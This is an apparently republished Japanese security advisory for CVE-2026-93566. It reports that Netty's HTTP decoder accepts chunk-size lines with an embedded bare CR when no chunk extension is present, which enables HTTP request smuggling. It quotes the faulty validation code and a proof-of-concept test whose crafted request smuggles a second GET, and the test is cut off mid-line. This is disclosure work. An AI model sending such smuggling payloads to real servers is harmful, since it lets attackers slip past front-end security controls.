CVE-2026-93566 in Netty
要約
〜によって VulDB • 2026年09月18日
### まとめ Nettyは、チャンク拡張(`;`)がない場合、厳格なチャンクサイズ行の検証をスキップするため、埋められた裸のCR(例:`0\rX`)を含むチャンクサイズ行が拒否されるのではなく受け入れられ、HTTPリクエストスモーギングが可能になります。
### 詳細 `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions`は、`;`が存在する場合のみ厳格なバリデータ `HttpChunkLineValidatingByteProcessor` を実行します:
```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) {
return; } ```
RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A によると、
`chunk-size = 1*HEXDIG`
### PoC
```java @Test public void test() {
String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.